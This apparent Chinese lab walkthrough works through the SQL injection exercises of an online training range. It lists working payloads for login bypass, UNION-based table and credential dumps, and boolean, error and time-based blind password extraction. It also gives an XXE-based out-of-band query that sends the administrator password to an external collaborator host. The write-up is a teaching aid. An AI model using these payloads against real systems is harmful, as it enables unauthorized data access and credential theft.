BP靶场中SQL注入练习
1.Bp靶场介绍
Bp靶场有点类似于常见的DVWA靶场、piachu靶场，里面富含多种不同类型的漏洞，并且每个靶场都有针对性，例如sql注入，从最简单的判断开始，逐步的增加难度，并且每一个靶场都附带介绍以及通过方式，能够让新人快速的了解原理并且针对性练习。
1.1.访问靶场
靶场链接：实验室网络安全学院
1.2.注意事项
这个靶场是在线靶场，并且是HTTPS，若需要抓包解决需要，安装HTTPS证书，可以参考我的文章进行抓取HTTPS流量。
抓取HTTPS流量文章链接：文章链接
同时靶场是全英文的，但是有页面翻译也还好，能够看懂，尽量使用Edge浏览器，翻译更准确一点。
如果对sql注入不太链接，可以参考下面的文章，以及burp安装教程。
sql原理与案例文章链接：文章链接
burpsuite安装链接：文章链接
2.SQL注入靶场
2.1.注意事项
在正常测试后相关性都是使空格进行分隔，例如：order by 1–，但是在部分浏览器中可能需要用加号替代空格。例如：order+by+1–。我使用火狐浏览器就存在这样的异常，后来使用Edge浏览器的时候没出现，可能火狐浏览器没有对输入的内容进行编码转换。
所以下面的操作后存在存在添加+号替换空格也可能存在未添加，自行分辨，并非是过滤绕过。同时部分通过方式需要使用靶场指定的参数进行通过，可能也是避免别人攻击网站吧。
2.2.检索隐藏数据
请执行 SQL 注入攻击，使应用程序显示任何类别（已发布和未发布）中所有产品的详细信息。
2.2.1.开启靶场
我这里是自动进行翻译的，点击下面的访问实验室即可，稍等以下即可进入靶场，在下面的翻译为溶液的一栏中会有解决办法。
2.2.2.点击礼物
这里点击礼物后，可以观察以下URL，同时可以看到在页面中只有3个物品。
2.2.3.测试类型
通过观察URL中能够看到，有点像原理中提到的?id=XX这样，那么这里是不是可以作为注入点，那么这里就可以对其进行测试了，可以测试是字符型还是数字型，这里经过测试是字符型使用单引号进行闭合，同时输入后发现出现了隐藏的物品，但是并没有过关。
payload：'--
2.2.4.爆出全部物品(包括隐藏)
这里知道闭合的单引号了，那么可以直接’+or+1=1–直接让所有的物品已经隐藏物品全部爆出来。这里使用+是因为编码，如果空格的话就需要编码，所有直接使用+，同时在这个靶场中，使用空格好像识别不出来。
成功后就会提示过关，如果使用空格可能会出现过不了关的情况。
payload：'+or+1=1--
2.3.登录逻辑
请执行以用户身份登录到应用程序的 SQL 注入攻击。简单来说就是通过sql注入让其能够登录管理员账号。
2.3.1.开启靶场
2.3.2.登录账户
这里我们使用administrator进行登录的时候，正常情况下是无法登录的。那么这里是否可以将后面密码验证注释掉？
2.3.3.注释验证
我们使用administrator’–进行注入，关于是使用字符型还是数字型自行测试，测试方式也挺简单的，至于密码，我们的思路是绕过验证，那么密码就随便输入一些内容。
payload：administrator'--
2.3.4.成功登陆
通过绕过验证，成功登录账户，同时页面也提示我们成功过关。
2.4.判断列
这里其实就是通过执行返回包含 null 值的附加行的 SQL注入UNION 攻击来确定查询返回的列数。
2.4.1.开启靶场
2.4.2.点击分类
这里选择一个分类进行测试，这里我点击宠物分类。
2.4.3.测试列
测试列需要使用order by null进行测试。这里的测试正常的思路是先测试闭合类型，然后使用order by从1一直测试到无显示为止。那么这里我测试后是单引号闭合，直接就测试无回显是到多少。
2.4.3.1.无回显
这里测试到4的时候就出现无回显，那么证明是存在3列的。
payload：' order by 4--
2.4.3.2.有回显
这里忽略我通关的显示，由于图片是后补的，所以显示这样，实质上在这步并非通过。
payload：' order by 3--
2.4.4.过关
这关想要过关是需要使用union select null进行测试的，之前使用order by只是测试出这里需要几个null，那么我们测试后需要使用到3个，那么输入3个null即可过关。
payload：' union select null,null,null--
2.5.判断字段位置
这里就是通过之前获取到三列，来进行判断哪一列能够返回值。
2.5.1.开启靶场
2.5.2.替换值位置
这里需要使用官方提供的值进行输入，不是输入1234这样的内容，在页面的上面会显示这个字符串，这里后面我们使用字符串的时候需要使用引号，避免识别不出来。
2.5.2.1.第一个位置
当将页面中提供的字符串放置第一个位置的时候，就会存在报错，证明位置并非正确。
payload：' union select 'O6chxH',null,null--
2.5.2.2.第二个位置
当将页面中提供的字符串放置第二个位置的时候，页面出现过关通知，那么就证明字符串放对位置了。
payload：' union select null,'O6chxH',null--
2.6.从其它表检索数据
请执行 SQL注入UNION 攻击，该攻击检索所有用户名和密码，并使用这些信息以用户身份登录，administrator。
2.6.1.开启靶场
2.6.2.测试列数
这里需要先测试列数，然后结合前面学习的如何变成一个流程下来，进行执行。
这里测试的列数是2，到3的时候出现报错了。
payload：order by 3--
2.6.3.爆出账号密码
这里是根据题目的提示是存在username与password，并且是从users表中获得。
这里不在确定字段位置是因为只用两个字段，并且官方已经提示了，就不进行测试了。
payload：' union select username,password from users--
2.6.4.过关
这里我们获取到账号和密码后，进行登录，登录后就会在页面中显示过关的提示。
2.7.从单列中获取多个字段
之前我们都是一列获取一个字段，这里需要我们通过一个列中获取多个字段的内容。
2.7.1.开启靶场
2.7.2.测试靶场
这里经过测试是两列，至于如何测试出是两列，这里就不在复述了，跟着流程下来，这里应该也会测试了。
2.7.2.1.测试失败
这里通过介绍是有username与password，并且是从users中读取出来，我们进行测试。
通过测试，发现我们之前输入的payload的无法把账号和密码带出。重新看介绍，是需要我们将账号密码合并带出。
payload：' union select username,password from users--
2.7.2.2.再次失败
我们将需要带出的值合并放入第一位，进行测试。这里经过测试，依旧是错误的，我们就需要考虑换一个位置。
不同数据库字符串的连接方法：
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'（空格） CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'
payload：' union select username||'~'||password,null from users--
2.7.2.3.测试成功
这里我们替换了一个位置，成功爆出账户密码。
payload：' union select null,username||'~'||password from users--
2.7.3.过关
这里只需要把获取到的账户和密码进行登录即可过关。
2.8.Oracle数据库版本
这里就是查看数据库版本，当然不同的数据库有不同的查询方式。
各数据库查询版本语句：
Mysql SELECT version()
Sql Server SELECT @@version
Oracle SELECT * FROM v$version
Postgre SELECT version()
2.8.1.开启靶场
2.8.2.判断数据库类型
这里虽然我们知道是Oracle 数据库，但是我们还是需要进行数据库判断，在Oracle 数据库中存在一个dual表，这个表是Oracle 数据库中自带的一张表。这里我们就可以通过这个自带表进行判断。
payload：'union select null,null from dual--
2.8.3.查看数据版本
这里在判断数据库类型后，就需要查看数据的版本了，根据之前给的提示进行就可以对数据库的版本进行判断了。
同时判断出来后，页面也会提示我们过关了。
payload：'union select banner,null from v$version--
2.9.Mysql数据库版本
这里需要判断的是mysql数据库的版本了。
2.9.1.开启靶场
2.9.2.查看数据库版本
这里就不去前边的判断了，直接查看数据库的版本，这里依旧是两列。
payload：' union select null,version()-- k
后面的-- k 的k可以随便输入，这个是为了让注释能够成功。
2.10.列出非Oracle数据库上的内容
这里就是通过完整的流程来获取账户和密码。
2.10.1.开启靶场
2.10.2.查询所有表
这里就不进行前面的注入类型以及列的判断了，这里还是字符型以及两列。查询所有表，使用自带的information_schema。
payload：' union select table_name,null from information_schema.tables--
通过查询表能够看到，这里是把所有表都列出来了。
2.10.3.查询所有字段
这里会有很多的表，在正常测试的情况下，不确定的情况下，需要寻找关键字然后进行查找。
注意这里的表，bp靶场生成的时候是不同的，需要替换表。
payload：' union select column_name,null from information_schema.columns where table_name='users_cgnxjc'--
2.10.4.爆出账户密码
这里我们获取到账户和密码的字段后，就可以进行数据的获取了。
payload：' union select username_qbizva,password_danmjm from users_cgnxjc--
2.10.5.过关
将获取到的账户密码进行登录，即可过关。
2.11.列出Oracle数据库上的内容
这里和上个靶场类似。
2.11.1.开启靶场
2.11.2.判断列
这里在判断列的时候需要在后面添加from dual，不然一直显示错误。
payload：' union select null,null from dual--
2.11.3.查询所有表
这里依旧是对其进行查询所有表。
payload：' union select table_name,null from all_tables--
2.11.4.查询所有字段
这里只能靠经验判断账户密码保存在什么那个表中了，正常都是users这些。可以去找一找。
payload：' union select column_name,null from all_tab_columns where table_name='USERS_YDSHJO'--
2.11.5.爆出账户密码
这里通过爆出的字段然后去查询以下字段中的数据。
payload：' union select USERNAME_VKPLRN,PASSWORD_FLAGFE from USERS_YDSHJO--
2.11.6.过关
这里把获取到的账户密码进行登录就可以过关了。
2.12.具有条件反应的SQL盲注
根据目标提示，SQL注入存在Cookie中，查询成功有Welcome back的回显但没有数据的回显，给了表和字段，让我们查到administrator用户的账号密码。
2.12.1.开启靶场
2.12.2.判断注入点
这里告诉我们是在cookie值位置，那么我们就在cookie值位置进行sql注入的测试。
2.12.2.1.正常
正常情况下会显示Welcome back。
payload：' and 1=1--
2.12.2.2.非正常
而非正常的情况下是不会出现Welcome back。
payload：' and 1=2--
2.12.3.判断是否存在users表
这里就需要判断是否存在users的表。
payload：' and (select 'cs' from users limit 1) ='cs'--
2.12.4.判断是否存在administrator用户
payload：' and (select 'cs' from users where username='administrator')='cs'--
2.12.5.判断密码长度
payload：' and (select 'cs' from users where username='administrator' and Length(password)>1)='cs'--
经过测试1是成立的，而我们需要判断密码是多少位。
2.12.5.1.设置爆破密码长度
选中其中的1，然后设置1到30即可，当然也可以设置更长。
2.12.5.2.获取密码长度
这里通过返回的长度发现，到20的时候出现变化，那么判断密码长度为20位。
2.12.6.爆破密码
payload：' and (select substring(password,1,1) from users where username='administrator')='a'--
2.12.6.1.设置爆破字段
在password后面的1是控制长度，而后面的a是测试的密码中单个字母或数字。
2.12.6.2.设置爆破参数
payload1：
payload2：
这里添加0到9，小写a到z，大写A到Z
2.12.7.查看密码
密码是由payload1来定义的，假如payload1后面的1是e，payload1后面2是i，那么密码就是ei，由于攻击完后，顺序是乱的，需要自行排序。
密码：1s4hm9hq7dok4d0mpbkb
2.12.8.过关
这里我成功进入了，但是由于页面问题可能没加载出过关的通知，后面去页面中查看确实是过关了。
2.13.具有条件误差的SQL盲注
这里和第十二题一样都是在cookie处存在注入点。
2.13.1.开启靶场
2.13.2.判断注入情况
这里通过注入的情况，来判断是否存在注入。
2.13.2.1.有异常
加一个单引号会引发报错。
payload：'
2.13.2.2.无异常
加两个引号，也就是将前面的引号闭合，若页面正常，证明带入数据库中了，那么也就证明存在注入。
payload：''
2.13.3.判断数据库
这里通过不同的方式来判断是什么数据库。
2.13.3.1.判断是否为mysql数据库
这里报错了，那么证明不是mysql数据库。
payload：' || (select '') || '
2.13.3.2.判断是否为Oracle数据库
这里可以看到页面是正常的，那么就可以证明是oracle数据库。
payload：'||(select '' from dual)||'
2.13.4.判读是否存在users表
这里页面正常，证明是存在users表的。
WHERE ROWNUM = 1 用于限定仅仅返回一行数据
payload：'||(select case when (1=2) then to_char(1/0) else '' end from users where rownum = 1)||'
2.13.5.判断是否存在administrator用户
通过页面返回正常，可以看出是存在administrator用户的。
payload：'||(select case when (1=2) then to_char(1/0) else '' end from users where username='administrator')||'
2.13.6.判断密码位数
通过测试，得出密码有20位。
payload：'||(select case when length(password)>1 then+to_char(1/0) else '' end from users where username='administrator')||'
2.13.7.爆破密码
这里的操作和第十二关是一样的操作，这里就直接进行爆破了。
payload：'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'
密码：v49z9t6xecxca6zokl3e
2.13.8.过关
这里依旧是使用这个火狐渗透版，不显示过关信息，但是确实是过关完成了。
2.14.具有时间延迟的SQL盲注
这里通过返回的时间来判断注入是否正确。
2.14.1.开启靶场
2.14.2.延迟10秒
payload：'||pg_sleep(10)--
2.14.3.过关
这里要注意，靶场要求要延迟10秒才能过关。
2.15.时间SQL盲注与信息检索
这里需要使用延迟进行注入进行判断，由于太耗时间，就直接上语句，不在一个一个测试了。
2.15.1.开启靶场
2.15.2.语句测试
延时，%3B为分号URL编码，使得cookie查询执行后，执行SQL
验证语句：'%3bselect+case+when+(1=1)+then+pg_sleep(10)+else+pg_sleep(0)+end--
判断是否存在administrator用户：'%3bselect+case+when+(username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--
2.15.3.判断密码长度
这里是10秒，我就测试到21位，因为肯定是20位，这里需要耐心等等，很慢的。这里有个问题就是可能会存在误差，所以还是需要注意。
payload：'%3bselect+case+when+(username='administrator'+and+length(password)>1)+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--
2.15.4.判断密码
这里还是使用之前的方式进行爆破。需要注意，时间比较长，而且如果把延迟的时间降低，可能会存在不准确的情况，误差比较大，这里还需要设置单线程，否则也会出现误报的情况。
payload：'%3bselect+case+when+(username='administrator'+and+substring(password,1,1)='a')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--
密码：73zzf59k8gssdrv2nr8i
2.15.4.1.接受响应时间
这里可以通过调整列显示接受响应时间。
2.15.4.2.设置单线程
把这里改成1就好了。
2.15.5.过关
2.16.带外交互的盲SQL注入
这里就是需要通过外带的方式进行sql注入，这里我并未过关，自行测试哦，可能我的环境有点问题吧。
2.16.1.开启靶场
2.16.2.获取公用服务器
这里使用burp软件中自带的服务器地址。
2.16.2.1.打开客户端
2.16.2.2.获取服务器地址
2.16.3.构建payload
这里我并未获取到相关的信息，也并未过关，这里不知道是什么情况，为何数据获取不到，原先觉得是不是payload有问题，后来看觉得应该不是payload的问题，这里就把payload先放在这里把。
payload：'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f><!doctype+root+[+<!entity+%25+remote+system+"http%3a//l4q1opz0kdkuzw12pbutkgzuslybm0.burpcollaborator.net/">+%25remote%3b]>'),'/l')+from+dual--
2.17.带外数据泄漏的盲SQL注入
这里就是通过服务器将数据带出，当然这里是配合类似xxe攻击的手段配合带出，同样这里我也并未成功，始终获取不到数据。
这里也是自行测试。
payload：'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f><!doctype+root+[+<!entity+%25+remote+system+"http%3a//'||(select+password+from+users+where+username%3d'administrator')||'bcrx9myq17bpdz9gk83ym0u01r7hv6.burpcollaborator.net/">+%25remote%3b]>'),'/l')+from+dual--
2.18.通过XML编码绕过过滤器的SQL注入
2.18.1.开启靶场
2.18.2.点击页面
这里看页面其实什么都没有，只有view details的按钮，那么这里我们就点击进去看看有什么东西。
2.18.3.发现新大陆
这里点进去发现了新的按钮。
2.18.4.抓包
这里我们发现下面的内容像xml代码，那么是不是可以修改代码。
2.18.5.测试注入点
这里我们就需要测试注入点了，原来是1，那么可以尝试修改数值，我们修改成2呢，再测试是否存在数学表达式替换ID，然后观察。
2.18.5.1.数值为1的状态
没有延迟正常。
2.18.5.2.数值为2的状态
当数值为2的时候，同样没有延迟。
2.18.6.测试是否存在数学表达式替换ID
使用<storeId>1+1<storeId>,成功查到<storeId>2<storeId>的结果.
2.18.7.测试联合注入
在后面添加UNION SELECT NULL，发现被waf检测到了。那么是不是可以使用编码绕过？？
2.18.7.1.编码绕过
这里使用html编码绕过。
2.18.7.2.成功绕过
可以看到这里我们成功绕过了。
2.18.8.获取密码
这里同样进行编码绕过
payload：union select username || ':' || password from users
payload编码： UNION SELECT username || ':' || password FROM users
密码：b64ddknath9swz8u68fd
2.18.9.过关
将获取到的密码，进行登录即可过关。
1783
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
